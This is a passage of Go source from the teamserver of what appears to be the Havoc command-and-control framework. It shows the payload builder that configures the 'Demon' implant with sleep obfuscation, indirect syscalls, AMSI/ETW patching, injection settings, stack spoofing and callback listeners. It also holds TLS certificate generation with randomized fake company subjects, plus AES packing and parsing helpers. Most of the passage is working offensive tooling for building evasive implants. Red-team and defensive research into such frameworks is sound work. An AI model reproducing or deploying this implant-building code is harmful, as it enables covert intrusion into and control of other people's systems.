new value (%s) can be longer than the old value (%s)", string(new), old)) } else { ByteArray = bytes.Replace(ByteArray, []byte(old), new, -1) } } } } else { if b.ProfileConfig.MagicMzX86 != "" { for i := range b.ProfileConfig.MagicMzX86 { ByteArray[i] = b.ProfileConfig.MagicMzX86[i] } } if b.ProfileConfig.ReplaceStringsX86 != nil { for old, _ := range b.ProfileConfig.ReplaceStringsX86 { new := []byte(b.ProfileConfig.ReplaceStringsX86[old]) // make sure they are the same length if len(new) < len(old) { new = append(new, bytes.Repeat([]byte{0}, len(old)-len(new))...) } if len(new) > len(old) { logger.Error(fmt.Sprintf("invalid replacement rule, new value (%s) can be longer than the old value (%s)", string(new), old)) } else { ByteArray = bytes.Replace(ByteArray, []byte(old), new, -1) } } } } return ByteArray } func (b *Builder) PatchConfig() ([]byte, error) { var ( DemonConfig = packer.NewPacker(nil, nil) ConfigSleep int ConfigJitter int ConfigAlloc int ConfigExecute int ConfigSpawn64 string ConfigSpawn32 string ConfigObfTechnique int ConfigObfBypass int ConfigProxyLoading = PROXYLOADING_NONE ConfigStackSpoof = win32.FALSE ConfigSyscall = win32.FALSE ConfigAmsiPatch = AMSIETW_PATCH_NONE err error ) logger.Debug(b.config.Config) if val, ok := b.config.Config["Sleep"].(string); ok { ConfigSleep, err = strconv.Atoi(val) if err != nil { if !b.silent { b.SendConsoleMessage("Error", "failed to convert Sleep string to int: "+err.Error()) } return nil, err } } if val, ok := b.config.Config["Jitter"].(string); ok { ConfigJitter, err = strconv.Atoi(val) if err != nil { if !b.silent { b.SendConsoleMessage("Error", "failed to convert Jitter string to int: "+err.Error()) } return nil, err } if ConfigJitter < 0 || ConfigJitter > 100 { return nil, errors.New("Jitter has to be between 0 and 100") } } else { b.SendConsoleMessage("Info", "jitter not found?") ConfigJitter = 0 } if val, ok := b.config.Config["Indirect Syscall"].(bool); ok { if val { ConfigSyscall = win32.TRUE if !b.silent { b.SendConsoleMessage("Info", "indirect syscalls has been enabled") } } } if b.FileType == FILETYPE_WINDOWS_SERVICE_EXE { if val, ok := b.config.Config["Service Name"].(string); ok { if len(val) > 0 { b.compilerOptions.Defines = append(b.compilerOptions.Defines, "SERVICE_NAME=\\\""+val+"\\\"") if !b.silent { b.SendConsoleMessage("Info", "set service name to "+val) } } else { val = common.RandomString(6) b.compilerOptions.Defines = append(b.compilerOptions.Defines, "SERVICE_NAME=\\\""+val+"\\\"") if !b.silent { b.SendConsoleMessage("Info", "service name not specified... using random name") b.SendConsoleMessage("Info", "set service name to "+val) } } } } // Demon Config DemonConfig.AddInt(ConfigSleep) DemonConfig.AddInt(ConfigJitter) if Injection := b.config.Config["Injection"].(map[string]any); len(Injection) > 0 { if val, ok := Injection["Alloc"].(string); ok && len(val) > 0 { switch val { case "Win32": ConfigAlloc = 1 break case "Native/Syscall": ConfigAlloc = 2 break default: ConfigAlloc = 0 break } } else { return nil, errors.New("Injection Alloc is undefined") } if val, ok := Injection["Execute"].(string); ok && len(val) > 0 { switch val { case "Win32": ConfigExecute = 1 break case "Native/Syscall": ConfigExecute = 2 break default: ConfigExecute = 0 break } } else { return nil, errors.New("Injection Execute is undefined") } if val, ok := Injection["Spawn64"].(string); ok && len(val) > 0 { ConfigSpawn64 = val } else { return nil, errors.New("Injection Spawn64 is undefined") } if val, ok := Injection["Spawn32"].(string); ok && len(val) > 0 { ConfigSpawn32 = val } else { return nil, errors.New("injection Spawn32 is undefined") } } else { return nil, errors.New("injection is undefined") } if val, ok := b.config.Config["Sleep Technique"].(string); ok && len(val) > 0 { switch val { case "WaitForSingleObjectEx": ConfigObfTechnique = SLEEPOBF_NO_OBF if !b.silent { b.SendConsoleMessage("Info", "no sleep obfuscation has been specified") } break case "Foliage": ConfigObfTechnique = SLEEPOBF_FOLIAGE if !b.silent { b.SendConsoleMessage("Info", "sleep obfuscation \"Foliage\" has been specified") } break case "Ekko": ConfigObfTechnique = SLEEPOBF_EKKO if !b.silent { b.SendConsoleMessage("Info", "sleep obfuscation \"Ekko\" has been specified") } break case "Zilean": ConfigObfTechnique = SLEEPOBF_ZILEAN if !b.silent { b.SendConsoleMessage("Info", "sleep obfuscation \"Zilean\" has been specified") } break default: ConfigObfTechnique = SLEEPOBF_NO_OBF if !b.silent { b.SendConsoleMessage("Info", "no sleep obfuscation has been specified") } break } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Sleep Jmp Gadget"].(string); ok && len(val) > 0 { if ConfigObfTechnique != SLEEPOBF_NO_OBF { switch val { case "jmp rax": ConfigObfTechnique = SLEEPOBF_BYPASS_JMPRAX if !b.silent { b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rax\" has been specified") } break case "jmp rbx": ConfigObfBypass = SLEEPOBF_BYPASS_JMPRBX if !b.silent { b.SendConsoleMessage("Info", "sleep jump gadget \"jmp rbx\" has been specified") } break default: ConfigObfBypass = SLEEPOBF_BYPASS_NONE if !b.silent { b.SendConsoleMessage("Info", "no sleep jump gadget has been specified") } break } } else { // if no sleep obfuscation technique has been specified then // no jmp gadgets are going to be used. if !b.silent { b.SendConsoleMessage("Info", "sleep jump gadget option ignored") } } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Stack Duplication"].(bool); ok { if ConfigObfTechnique != SLEEPOBF_NO_OBF { if val { ConfigStackSpoof = win32.TRUE if !b.silent { b.SendConsoleMessage("Info", "stack duplication has been specified") } } } else { // if no sleep obfuscation technique has been specified then // stack spoofing is not possible during sleep lol. if !b.silent { b.SendConsoleMessage("Info", "stack duplication option ignored") } } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Proxy Loading"].(string); ok && len(val) > 0 { switch val { case "None (LdrLoadDll)": ConfigProxyLoading = PROXYLOADING_NONE if !b.silent { b.SendConsoleMessage("Info", "no proxy loading technique specified (using LdrLoadDll)") } break case "RtlRegisterWait": ConfigProxyLoading = PROXYLOADING_RTLREGISTERWAIT if !b.silent { b.SendConsoleMessage("Info", "proxy loading technique: RtlRegisterWait") } break case "RtlCreateTimer": ConfigProxyLoading = PROXYLOADING_RTLCREATETIMER if !b.silent { b.SendConsoleMessage("Info", "proxy loading technique: RtlCreateTimer") } break case "RtlQueueWorkItem": ConfigProxyLoading = PROXYLOADING_RTLQUEUEWORKITEM if !b.silent { b.SendConsoleMessage("Info", "proxy loading technique: RtlQueueWorkItem") } break default: ConfigProxyLoading = PROXYLOADING_NONE if !b.silent { b.SendConsoleMessage("Info", "no proxy loading technique specified (using LdrLoadDll)") } break } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } if val, ok := b.config.Config["Amsi/Etw Patch"].(string); ok && len(val) > 0 { switch val { case "Hardware breakpoints": ConfigAmsiPatch = AMSIETW_PATCH_HWBP if !b.silent { b.SendConsoleMessage("Info", "amsi/etw patching technique: hardware breakpoints") } break default: ConfigAmsiPatch = AMSIETW_PATCH_NONE if !b.silent { b.SendConsoleMessage("Info", "amsi/etw patching disabled") } break } } else { return nil, errors.New("sleep Obfuscation technique is undefined") } // behaviour configuration (alloc/exec/spawn) DemonConfig.AddInt(ConfigAlloc) DemonConfig.AddInt(ConfigExecute) DemonConfig.AddWString(ConfigSpawn64) DemonConfig.AddWString(ConfigSpawn32) // bypass techniques DemonConfig.AddInt(ConfigObfTechnique) DemonConfig.AddInt(ConfigObfBypass) DemonConfig.AddInt(ConfigStackSpoof) DemonConfig.AddInt(ConfigProxyLoading) DemonConfig.AddInt(ConfigSyscall) DemonConfig.AddInt(ConfigAmsiPatch) // Listener Config switch b.config.ListenerType { case handlers.LISTENER_HTTP: var ( Config = b.config.ListenerConfig.(*handlers.HTTP) Port, err = strconv.Atoi(Config.Config.PortConn) ) if Config.Config.PortConn != "" && err != nil { return nil, errors.New("Failed to parse the PortConn: " + Config.Config.PortConn) } else if Config.Config.PortConn == "" { Port, err = strconv.Atoi(Config.Config.PortBind) if err != nil { return nil, errors.New("Failed to parse the PortBind: " + Config.Config.PortBind) } } DemonConfig.AddInt64(Config.Config.KillDate) WorkingHours, err := common.ParseWorkingHours(Config.Config.WorkingHours) if err != nil { return nil, err } DemonConfig.AddInt32(WorkingHours) if strings.ToLower(Config.Config.Methode) == "get" { //DemonConfig.AddWString("GET") return nil, errors.New("GET method is not supported") } else { DemonConfig.AddWString("POST") } switch Config.Config.HostRotation { case "round-robin": DemonConfig.AddInt(0) break case "random": DemonConfig.AddInt(1) break default: DemonConfig.AddInt(1) break } DemonConfig.AddInt(len(Config.Config.Hosts)) for _, host := range Config.Config.Hosts { var HostPort []string logger.Debug(fmt.Sprintf("Host => %v", host)) HostPort = strings.Split(host, ":") host = HostPort[0] if len(HostPort) > 1 { /* seems like we specified host:port */ logger.Debug("host:port") var ( Host = HostPort[0] Port int ) if val, err := strconv.Atoi(HostPort[1]); err == nil { Port = val } else { logger.Error("Failed convert Port string to int: " + err.Error()) return nil, err } /* Adding Host:Port */ DemonConfig.AddWString(common.GetInterfaceIpv4Addr(Host)) DemonConfig.AddInt(Port) } else { /* seems like we specified host only. append the listener bind port to it */ logger.Debug("host only") /* Adding Host:Port */ DemonConfig.AddWString(common.GetInterfaceIpv4Addr(HostPort[0])) DemonConfig.AddInt(Port) } } if Config.Config.Secure { DemonConfig.AddInt(win32.TRUE) } else { DemonConfig.AddInt(win32.FALSE) } DemonConfig.AddWString(Config.Config.UserAgent) if len(Config.Config.Headers) == 0 { if len(Config.Config.HostHeader) > 0 { DemonConfig.AddInt(2) DemonConfig.AddWString("Content-type: */*") DemonConfig.AddWString("Host: " + Config.Config.HostHeader) } else { DemonConfig.AddInt(1) DemonConfig.AddWString("Content-type: */*") } } else { if len(Config.Config.HostHeader) > 0 { Config.Config.Headers = append(Config.Config.Headers, "Host: "+Config.Config.HostHeader) } DemonConfig.AddInt(len(Config.Config.Headers)) for _, headers := range Config.Config.Headers { logger.Debug(headers) DemonConfig.AddWString(headers) } } if len(Config.Config.Uris) == 0 { DemonConfig.AddInt(1) DemonConfig.AddWString("/") } else { DemonConfig.AddInt(len(Config.Config.Uris)) for _, uri := range Config.Config.Uris { logger.Debug(uri) DemonConfig.AddWString(uri) } } // adding proxy connection info if Config.Config.Proxy.Enabled { DemonConfig.AddInt(win32.TRUE) var ProxyUrl = fmt.Sprintf("%v://%v:%v", Config.Config.Proxy.Type, Config.Config.Proxy.Host, Config.Config.Proxy.Port) DemonConfig.AddWString(ProxyUrl) DemonConfig.AddWString(Config.Config.Proxy.Username) DemonConfig.AddWString(Config.Config.Proxy.Password) } else { DemonConfig.AddInt(win32.FALSE) } break case handlers.LISTENER_PIVOT_SMB: var Config = b.config.ListenerConfig.(*handlers.SMB) DemonConfig.AddWString("\\\\.\\pipe\\" + Config.Config.PipeName) DemonConfig.AddInt64(Config.Config.KillDate) WorkingHours, err := common.ParseWorkingHours(Config.Config.WorkingHours) if err != nil { logger.Error("Failed to parse the WorkingHours: " + err.Error()) return nil, err } DemonConfig.AddInt32(WorkingHours) break } //logger.Debug("DemonConfig:\n" + hex.Dump(DemonConfig.Buffer())) return DemonConfig.Buffer(), nil } func (b *Builder) GetPayloadBytes() []byte { if len(b.preBytes) > 0 { b.SendConsoleMessage("Good", "payload generated") return b.preBytes } var ( FileBuffer []byte err error ) if b.outputPath == "" { logger.Error("Output Path is empty") if !b.silent { b.SendConsoleMessage("Error", "output Path is empty") } return nil } FileBuffer, err = os.ReadFile(b.outputPath) if err != nil { logger.Error("Couldn't read content of file: " + err.Error()) if !b.silent { b.SendConsoleMessage("Error", "couldn't read content of file: "+err.Error()) } return nil } if b.PatchBinary { FileBuffer = b.Patch(FileBuffer) } if !b.silent { b.SendConsoleMessage("Good", "payload generated") } return FileBuffer } func (b *Builder) Cmd(cmd string) bool { var ( Command = exec.Command("sh", "-c", cmd) stdout bytes.Buffer stderr bytes.Buffer err error ) Command.Dir = b.sourcePath Command.Stdout = &stdout Command.Stderr = &stderr err = Command.Run() if err != nil { logger.Error("Couldn't compile implant: " + err.Error()) if !b.silent { b.SendConsoleMessage("Error", "couldn't compile implant: "+err.Error()) b.SendConsoleMessage("Error", "compile output: "+stderr.String()) } logger.Debug(cmd) logger.Debug("StdErr:\n" + stderr.String()) return false } return true } func (b *Builder) CompileCmd(cmd string) bool { if b.Cmd(cmd) { if !b.silent { b.SendConsoleMessage("Info", "finished compiling source") } return true } return false } func (b *Builder) GetListenerDefines() []string { var defines []string switch b.config.ListenerType { case handlers.LISTENER_HTTP: defines = append(defines, "TRANSPORT_HTTP") break case handlers.LISTENER_PIVOT_SMB: defines = append(defines, "TRANSPORT_SMB") break } return defines } func (b *Builder) DeletePayload() { b.FilesCreated = append(b.FilesCreated, b.outputPath) b.FilesCreated = append(b.FilesCreated, b.CompileDir) for _, FileCreated := range b.FilesCreated { if strings.HasSuffix(FileCreated, ".bin") == false { if err := os.Remove(FileCreated); err != nil { logger.Debug("Couldn't remove " + FileCreated + ": " + err.Error()) } } } } havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/certs/000077500000000000000000000000001467014221700226355ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/certs/https.go000066400000000000000000000222031467014221700243250ustar00rootroot00000000000000package certs // Copied from Silver C2: https://github.com/BishopFox/sliver/blob/master/server/certs/https.go import ( "bytes" "crypto/ecdsa" "crypto/rand" "crypto/rsa" "crypto/x509" "crypto/x509/pkix" "encoding/binary" "encoding/pem" "fmt" "math/big" "net" "strings" "time" "Havoc/pkg/logger" insecureRand "math/rand" ) const ( // HTTPSCA - Directory containing operator certificates HTTPSCA = "https" // RSAKeySize - Default size of RSA keys in bits RSAKeySize = 2048 // This is plenty 4096 is overkill // Certs are valid for ~3 Years, minus up to 1 year from Now() validFor = 3 * (365 * 24 * time.Hour) // ECCKey - Namespace for ECC keys ECCKey = "ecc" // RSAKey - Namespace for RSA keys RSAKey = "rsa" ) var ( // State -> Localities -> Street Addresses states = map[string]map[string][]string{ "": { "": {""}, }, "Arizona": { "Phoenix": {""}, "Mesa": {""}, "Scottsdale": {""}, "Chandler": {""}, }, "California": { "San Francisco": {"", "Golden Gate Bridge"}, "Oakland": {""}, "Berkeley": {""}, "Palo Alto": {""}, "Los Angeles": {""}, "San Diego": {""}, "San Jose": {""}, }, "Colorado": { "Denver": {""}, "Boulder": {""}, "Aurora": {""}, "Fort Collins": {""}, }, "Connecticut": { "New Haven": {""}, "Bridgeport": {""}, "Stamford": {""}, "Norwalk": {""}, }, "Washington": { "Seattle": {""}, "Tacoma": {""}, "Olympia": {""}, "Spokane": {""}, }, "Florida": { "Miami": {""}, "Orlando": {""}, "Tampa": {""}, "Jacksonville": {""}, }, "Illinois": { "Chicago": {""}, "Aurora": {""}, "Naperville": {""}, "Peoria": {""}, }, } orgNames = []string{ "", "ACME", "Partners", "Tech", "Cloud", "Synergy", "Test", "Debug", } orgSuffixes = []string{ "", "co", "llc", "inc", "corp", "ltd", } ) func randomState() string { keys := make([]string, 0, len(states)) for k := range states { keys = append(keys, k) } return keys[insecureRand.Intn(len(keys))] } func randomLocality(state string) string { locales := states[state] keys := make([]string, 0, len(locales)) for k := range locales { keys = append(keys, k) } return keys[insecureRand.Intn(len(keys))] } func randomStreetAddress(state string, locality string) string { addresses := states[state][locality] return addresses[insecureRand.Intn(len(addresses))] } func randomProvinceLocalityStreetAddress() ([]string, []string, []string) { state := randomState() locality := randomLocality(state) streetAddress := randomStreetAddress(state, locality) return []string{state}, []string{locality}, []string{streetAddress} } func randomPostalCode() []string { switch insecureRand.Intn(1) { case 0: return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)} default: return []string{} } } func randomSubject(commonName string) *pkix.Name { province, locale, street := randomProvinceLocalityStreetAddress() return &pkix.Name{ Organization: randomOrganization(), Country: []string{"US"}, Province: province, Locality: locale, StreetAddress: street, PostalCode: randomPostalCode(), CommonName: commonName, } } func randomOrganization() []string { name := orgNames[insecureRand.Intn(len(orgNames))] suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))] switch insecureRand.Intn(4) { case 0: return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))} case 1: return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))} case 2: return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))} default: return []string{} } } func publicKey(priv interface{}) interface{} { switch k := priv.(type) { case *rsa.PrivateKey: return &k.PublicKey case *ecdsa.PrivateKey: return &k.PublicKey default: return nil } } func randomInt(max int) int { buf := make([]byte, 4) rand.Read(buf) i := binary.LittleEndian.Uint32(buf) return int(i) % max } func pemBlockForKey(priv interface{}) *pem.Block { switch key := priv.(type) { case *rsa.PrivateKey: data := x509.MarshalPKCS1PrivateKey(key) return &pem.Block{Type: "RSA PRIVATE KEY", Bytes: data} case *ecdsa.PrivateKey: data, err := x509.MarshalECPrivateKey(key) if err != nil { logger.Fatal(fmt.Sprintf("Unable to marshal ECDSA private key: %v", err)) } return &pem.Block{Type: "EC PRIVATE KEY", Bytes: data} default: return nil } } func generateCertificate(caType string, subject pkix.Name, isCA bool, isClient bool, privateKey interface{}) ([]byte, []byte) { // Valid times, subtract random days from .Now() notBefore := time.Now() days := randomInt(365) * -1 // Within -1 year notBefore = notBefore.AddDate(0, 0, days) notAfter := notBefore.Add(validFor) logger.Debug(fmt.Sprintf("Valid from %v to %v", notBefore, notAfter)) // Serial number serialNumberLimit := new(big.Int).Lsh(big.NewInt(1), 128) serialNumber, _ := rand.Int(rand.Reader, serialNumberLimit) logger.Debug(fmt.Sprintf("Serial Number: %d", serialNumber)) var keyUsage = x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature var extKeyUsage []x509.ExtKeyUsage if isCA { logger.Debug("Authority certificate") keyUsage = x509.KeyUsageCertSign | x509.KeyUsageKeyEncipherment | x509.KeyUsageDigitalSignature extKeyUsage = []x509.ExtKeyUsage{ x509.ExtKeyUsageServerAuth, x509.ExtKeyUsageClientAuth, } } else if isClient { logger.Debug("Client authentication certificate") extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageClientAuth} } else { logger.Debug("Server authentication certificate") extKeyUsage = []x509.ExtKeyUsage{x509.ExtKeyUsageServerAuth} } logger.Debug(fmt.Sprintf("ExtKeyUsage = %v", extKeyUsage)) // Certificate template template := x509.Certificate{ SerialNumber: serialNumber, Subject: subject, NotBefore: notBefore, NotAfter: notAfter, KeyUsage: keyUsage, ExtKeyUsage: extKeyUsage, BasicConstraintsValid: isCA, } if !isClient { // Host or IP address if ip := net.ParseIP(subject.CommonName); ip != nil { logger.Debug(fmt.Sprintf("Certificate authenticates IP address: %v", ip)) template.IPAddresses = append(template.IPAddresses, ip) } else { logger.Debug(fmt.Sprintf("Certificate authenticates host: %v", subject.CommonName)) template.DNSNames = append(template.DNSNames, subject.CommonName) } } else { logger.Debug(fmt.Sprintf("Client certificate authenticates CN: %v", subject.CommonName)) } // Sign certificate or self-sign if CA var certErr error var derBytes []byte if isCA { logger.Debug("Certificate is an AUTHORITY") template.IsCA = true template.KeyUsage |= x509.KeyUsageCertSign derBytes, certErr = x509.CreateCertificate(rand.Reader, &template, &template, publicKey(privateKey), privateKey) } if certErr != nil { // We maybe don't want this to be fatal, but it should basically never happen afaik logger.Fatal(fmt.Sprintf("Failed to create certificate: %s", certErr)) } // Encode certificate and key certOut := bytes.NewBuffer([]byte{}) pem.Encode(certOut, &pem.Block{Type: "CERTIFICATE", Bytes: derBytes}) keyOut := bytes.NewBuffer([]byte{}) pem.Encode(keyOut, pemBlockForKey(privateKey)) return certOut.Bytes(), keyOut.Bytes() } // HTTPSGenerateRSACertificate - Generate a server certificate signed with a given CA func HTTPSGenerateRSACertificate(host string) ([]byte, []byte, error) { logger.Debug(fmt.Sprintf("Generating TLS certificate (RSA) for '%s' ...", host)) var privateKey interface{} var err error // Generate private key privateKey, err = rsa.GenerateKey(rand.Reader, RSAKeySize) if err != nil { logger.Debug("Failed to generate private key %s", err) return nil, nil, err } subject := randomSubject(host) cert, key := generateCertificate(HTTPSCA, (*subject), true, false, privateKey) // err = saveCertificate(HTTPSCA, RSAKey, host, cert, key) return cert, key, err } havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/crypt/000077500000000000000000000000001467014221700226565ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/crypt/aes.go000066400000000000000000000007571467014221700237660ustar00rootroot00000000000000package crypt import ( "crypto/aes" "crypto/cipher" "Havoc/pkg/logger" ) func XCryptBytesAES256(XBytes []byte, AESKey []byte, AESIv []byte) []byte { var ( ReverseXBytes = make([]byte, len(XBytes)) ) block, err := aes.NewCipher(AESKey) if err != nil { logger.Error("Decryption Error: " + err.Error()) return []byte{} } stream := cipher.NewCTR(block, AESIv) stream.XORKeyStream(ReverseXBytes, XBytes) return ReverseXBytes }havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/packer/000077500000000000000000000000001467014221700227625ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/packer/packer.go000066400000000000000000000042051467014221700245570ustar00rootroot00000000000000package packer import ( "bytes" "encoding/binary" "Havoc/pkg/common" "Havoc/pkg/common/crypt" "Havoc/pkg/logger" ) // TODO: rework this type Packer struct { data []byte size int AesKey []byte AesIV []byte } func NewPacker(AesKey, AesIV []byte) *Packer { var packer = new(Packer) packer.AesKey = AesKey packer.AesIV = AesIV return packer } func (p *Packer) AddInt64(data int64) { var buffer = make([]byte, 8) binary.LittleEndian.PutUint64(buffer, uint64(data)) p.data = append(p.data, buffer...) p.size += 8 } func (p *Packer) AddInt32(data int32) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, uint32(data)) p.data = append(p.data, buffer...) p.size += 4 } func (p *Packer) AddInt(data int) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, uint32(data)) p.data = append(p.data, buffer...) p.size += 4 } // AddUInt32 use a much as possible this function func (p *Packer) AddUInt32(data uint32) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, data) p.data = append(p.data, buffer...) p.size += 4 } func (p *Packer) AddString(data string) { p.AddBytes(common.EncodeUTF8(data)) } func (p *Packer) AddWString(data string) { p.AddBytes(common.EncodeUTF16(data)) } func (p *Packer) AddBytes(data []byte) { var buffer = make([]byte, 4) binary.LittleEndian.PutUint32(buffer, uint32(len(data))) p.data = append(p.data, buffer...) p.data = append(p.data, data...) p.size += 4 p.size += len(data) } func (p *Packer) Build() []byte { var Temp = make([]byte, 32) if bytes.Compare(p.AesKey, Temp) == 0 { return p.data } logger.Debug("No Aes Key specified") if (p.AesKey != nil) || (p.AesIV != nil) { p.data = crypt.XCryptBytesAES256(p.data, p.AesKey, p.AesIV) } return p.data } func (p *Packer) Buffer() []byte { return p.data } func (p *Packer) Size() int { return p.size } func (p *Packer) AddOwnSizeFirst() { var oldData = p.data p.AddInt(len(oldData)) p.AddBytes(oldData) p.size += 4 } havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/parser/000077500000000000000000000000001467014221700230115ustar00rootroot00000000000000havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/parser/parser.go000066400000000000000000000076001467014221700246370ustar00rootroot00000000000000package parser import ( "encoding/binary" "Havoc/pkg/common" "Havoc/pkg/common/crypt" ) type ReadType int const ( ReadInt32 ReadType = iota ReadInt64 ReadBytes ReadPointer ReadBool ) type Parser struct { buffer []byte bigEndian bool } func NewParser(buffer []byte) *Parser { var parser = new(Parser) parser.buffer = buffer parser.bigEndian = true return parser } func (p *Parser) CanIRead(ReadTypes []ReadType) bool { integer := make([]byte, 4) number := 0 BytesRead := 0 TotalSize := p.Length() for _, Type := range ReadTypes { switch Type { case ReadInt32: if TotalSize - BytesRead < 4 { return false } BytesRead += 4 case ReadInt64: if TotalSize - BytesRead < 8 { return false } BytesRead += 8 case ReadPointer: if TotalSize - BytesRead < 8 { return false } BytesRead += 8 case ReadBool: if TotalSize - BytesRead < 4 { return false } BytesRead += 4 case ReadBytes: if TotalSize - BytesRead < 4 { return false } for i := range integer { integer[i] = 0 } copy(integer, p.buffer[BytesRead:BytesRead+4]) if p.bigEndian { number = int(binary.BigEndian.Uint32(integer)) } else { number = int(binary.LittleEndian.Uint32(integer)) } BytesRead += 4 if TotalSize - BytesRead < number { return false } BytesRead += number } } return true } func (p *Parser) ParseInt32() int { var integer = make([]byte, 4) for i := range integer { integer[i] = 0 } if p.Length() >= 4 { if p.Length() == 4 { copy(integer, p.buffer[:p.Length()]) p.buffer = []byte{} } else { copy(integer, p.buffer[:p.Length()-4]) p.buffer = p.buffer[4:] } } if p.bigEndian { return int(binary.BigEndian.Uint32(integer)) } else { return int(binary.LittleEndian.Uint32(integer)) } } func (p *Parser) ParseInt64() int64 { var integer = make([]byte, 8) for i := range integer { integer[i] = 0 } if p.Length() >= 8 { if p.Length() == 8 { copy(integer, p.buffer[:p.Length()]) p.buffer = []byte{} } else { copy(integer, p.buffer[:p.Length()-8]) p.buffer = p.buffer[8:] } } if p.bigEndian { return int64(binary.BigEndian.Uint64(integer)) } else { return int64(binary.LittleEndian.Uint64(integer)) } } func (p *Parser) ParseBool() bool { var integer = make([]byte, 4) for i := range integer { integer[i] = 0 } if p.Length() >= 4 { if p.Length() == 4 { copy(integer, p.buffer[:p.Length()]) p.buffer = []byte{} } else { copy(integer, p.buffer[:p.Length()-4]) p.buffer = p.buffer[4:] } } if p.bigEndian { return int(binary.BigEndian.Uint32(integer)) != 0 } else { return int(binary.LittleEndian.Uint32(integer)) != 0 } } func (p *Parser) ParsePointer() int64 { return p.ParseInt64() } func (p *Parser) SetBigEndian(bigEndian bool) { p.bigEndian = bigEndian } func (p *Parser) ParseBytes() []byte { var bytesBuffer []byte if p.Length() >= 4 { BytesSize := uint(p.ParseInt32()) if BytesSize > uint(p.Length()) { bytesBuffer, p.buffer = p.buffer[:p.Length()], p.buffer[p.Length():] } else { bytesBuffer, p.buffer = p.buffer[:BytesSize], p.buffer[BytesSize:] } } return bytesBuffer } func (p *Parser) ParseAtLeastBytes(NumberOfBytes int) []byte { var bytesBuffer []byte if NumberOfBytes > p.Length() { bytesBuffer, p.buffer = p.buffer[:len(p.buffer)], p.buffer[len(p.buffer):] } else { bytesBuffer, p.buffer = p.buffer[:NumberOfBytes], p.buffer[NumberOfBytes:] } return bytesBuffer } func (p *Parser) ParseUTF16String() string { return common.StripNull(common.DecodeUTF16(p.ParseBytes())) } func (p *Parser) ParseString() string { return common.StripNull(string(p.ParseBytes())) } func (p *Parser) Length() int { return len(p.buffer) } func (p *Parser) Buffer() []byte { return p.buffer } func (p *Parser) DecryptBuffer(AESKey []byte, AESIv []byte) { p.buffer = crypt.XCryptBytesAES256(p.buffer, AESKey, AESIv) } havoc-0.6~git20240910.69ce17c/teamserver/pkg/common/util.go000066400000000000000000000165321467014221700230300ustar00rootroot00000000000000package common import ( "bufio" "bytes" "encoding/binary" "fmt" "image/png" "time" "io" "math/rand" "net" "strconv" "unicode/utf16" "unicode/utf8" "regexp" "errors" "strings" "Havoc/pkg/logger" "golang.org/x/image/bmp" "golang.org/x/text/encoding/unicode" ) func ParseWorkingHours(WorkingHours string) (int32, error) { /* * The working hours are packed in a uint32 * X: enabled or not * A: start hour * B: start minute * C: end hour * D: end minute * XAAAAABBBBBBCCCCCDDDDDD * 00000000010000011111100000111111 * ------------32 bits------------- */ var ( IntWorkingHours int32 = 0 ) if WorkingHours != "" { match, err := regexp.MatchString("^[12]?[0-9]:[0-6][0-9]-[12]?[0-9]:[0-6][0-9]$", WorkingHours) if err != nil || match == false { return IntWorkingHours, errors.New("Failed to parse the WorkingHours: Invalid format for working hours, use: 8:00-17:00") } startAndEnd := strings.Split(WorkingHours, "-") startHourandMinutes := strings.Split(startAndEnd[0], ":") endHourandMinutes := strings.Split(startAndEnd[1], ":") startHour, _ := strconv.Atoi(startHourandMinutes[0]) startMin , _ := strconv.Atoi(startHourandMinutes[1]) endHour, _ := strconv.Atoi(endHourandMinutes[0]) endMin, _ := strconv.Atoi(endHourandMinutes[1]) if startHour < 0 || startHour > 24 || endHour < 0 || endHour > 24 || startMin < 0 || startMin > 60 || endMin < 0 || endMin > 60 { return IntWorkingHours, errors.New("Failed to parse the WorkingHours: Invalid hour or minute defined in working hours") } if endHour < startHour || (startHour == endHour && endMin <= startMin) { return IntWorkingHours, errors.New("Failed to parse the WorkingHours: Then end hour can't be sooner than the start hour") } // set the "enabled" bit IntWorkingHours |= 1 << 22 IntWorkingHours |= (int32(startHour) & 0b011111) << 17 IntWorkingHours |= (int32(startMin) & 0b111111) << 11 IntWorkingHours |= (int32(endHour) & 0b011111) << 6 IntWorkingHours |= (int32(endMin) & 0b111111) << 0 } return IntWorkingHours, nil } func Bmp2Png(BmpBytes []byte) []byte { var ( f io.Writer Bytes bytes.Buffer ) f = bufio.NewWriter(&Bytes) Image, err := bmp.Decode(bytes.NewReader(BmpBytes)) if err != nil { logger.Error("Failed to decode bmp: " + err.Error()) return nil } err = png.Encode(f, Image) if err != nil { logger.Error("Failed to write png file: " + err.Error()) return nil } return Bytes.Bytes() } func DecodeUTF16(b []byte) string { var ( u16s = make([]uint16, 1) b8buf = make([]byte, 4) ret = &bytes.Buffer{} ) lb := len(b) for i := 0; i < lb; i += 2 { u16s[0] = uint16(b[i]) + (uint16(b[i+1]) << 8) r := utf16.Decode(u16s) n := utf8.EncodeRune(b8buf, r[0]) ret.Write(b8buf[:n]) } return ret.String() } func EncodeUTF16(s string) []byte { var err error // in C, strings terminate with a null-byte if strings.HasSuffix(s, "\x00") == false { s += "\x00" } uni := unicode.UTF16(unicode.LittleEndian, unicode.IgnoreBOM) encoded, err := uni.NewEncoder().String(s) if err != nil { 